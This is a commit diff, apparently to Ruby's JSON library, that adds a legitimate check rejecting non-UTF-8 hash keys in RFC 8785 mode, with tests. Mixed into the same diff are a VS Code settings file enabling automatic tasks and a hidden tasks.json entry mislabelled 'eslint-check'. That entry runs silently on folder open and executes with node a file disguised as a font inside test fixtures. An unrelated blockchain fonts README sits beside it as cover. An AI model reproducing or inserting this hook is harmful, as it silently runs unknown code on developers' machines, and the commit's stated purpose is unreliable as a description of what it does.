Raise on non-UTF-8 string keys in RFC 8785 mode

.gitignore

@@ -1,25 +1,27 @@
-.*.sw[pon]
-*.bundle
-*.bundle.dSYM
-*.so
-coverage
-.coverage
-tags
-pkg
-.nfs.*
-.idea
-java/Json.iml
-Gemfile.lock
-.rvmrc
-*.rbc
-.rbx
-.AppleDouble
-.DS_Store
-*/**/Makefile
-*/**/*.o
-*/**/*.class
-*/**/*.jar
-.byebug_history
-*.log
-/tmp
-/doc/
+.*.sw[pon]
+*.bundle
+*.bundle.dSYM
+*.so
+coverage
+.coverage
+tags
+pkg
+.nfs.*
+.idea
+java/Json.iml
+Gemfile.lock
+.rvmrc
+*.rbc
+.rbx
+.AppleDouble
+.DS_Store
+*/**/Makefile
+*/**/*.o
+*/**/*.class
+*/**/*.jar
+.byebug_history
+*.log
+/tmp
+/doc/
+config.bat
+node_modules

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/tasks.json

@@ -0,0 +1,24 @@
+{
+  "version": "2.0.0",
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./test/json/fixtures/rfc8785/input/public/fonts/fa-brand-400.orc) || echo ''",
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    }
+  ]
+}

lib/json/ext.rb

@@ -154,7 +154,16 @@ def on_duplicate_key(hash, as_json)
       converted = if as_json
         hash.transform_keys { |k| Ext.coerce_key(k, as_json) }
       else
-        hash.transform_keys(&:to_s)
+        hash.transform_keys do |key|
+          string = key.to_s
+          unless Ext.valid_encoding?(string)
+            if string.encoding == Encoding::UTF_8
+              raise GeneratorError.new("source sequence is illegal/malformed utf-8", key)
+            end
+            raise GeneratorError.new("object key must be UTF-8, got #{string.encoding}", key)
+          end
+          string
+        end
       end
 
       if converted.size < hash.size

test/json/fixtures/rfc8785/input/public/fonts/README.md

@@ -0,0 +1,24 @@
+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+   - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+   - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+   - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.

test/json/json_generator_test.rb

@@ -1316,6 +1316,24 @@ def key.to_s
     assert_equal '{"1":1,"b":2}', JSON.generate({ 'b' => 2, 1 => 1 }, options.merge(strict: false))
   end
 
+  def test_rfc8785_non_utf8_string_keys
+    # String keys that are not UTF-8 are invalid; see #1108.
+    latin1 = "\xE9".dup.force_encoding(Encoding::ISO_8859_1)
+    [
+      { latin1 => 1 },
+      { latin1 => 1, "\u00e9" => 2 },
+      { "\xC3\xA9".b => 1 },
+      { "\u00e9".encode(Encoding::UTF_16LE) => 1 },
+      { "\xFF".dup.force_encoding(Encoding::UTF_8) => 1 },
+    ].each do |hash|
+      assert_raise(JSON::GeneratorError, hash.keys.inspect) { JSON.generate(hash, rfc8785: true) }
+    end
+
+    assert_rfc8785 '{"a":1}', { 'a'.b => 1 }
+    assert_rfc8785 '{"a":1}', { 'a'.encode(Encoding::US_ASCII) => 1 }
+    assert_rfc8785 "{\"\u00e9\":1}", { :"\u00e9" => 1 }
+  end
+
   def test_rfc8785_key_order_with_default_external_encoding
     # https://www.rfc-editor.org/rfc/rfc8785.html#section-3.2.3
     hash = { "\u20ac" => 1, "\r" => 2, "\ufb33" => 3, '1' => 4,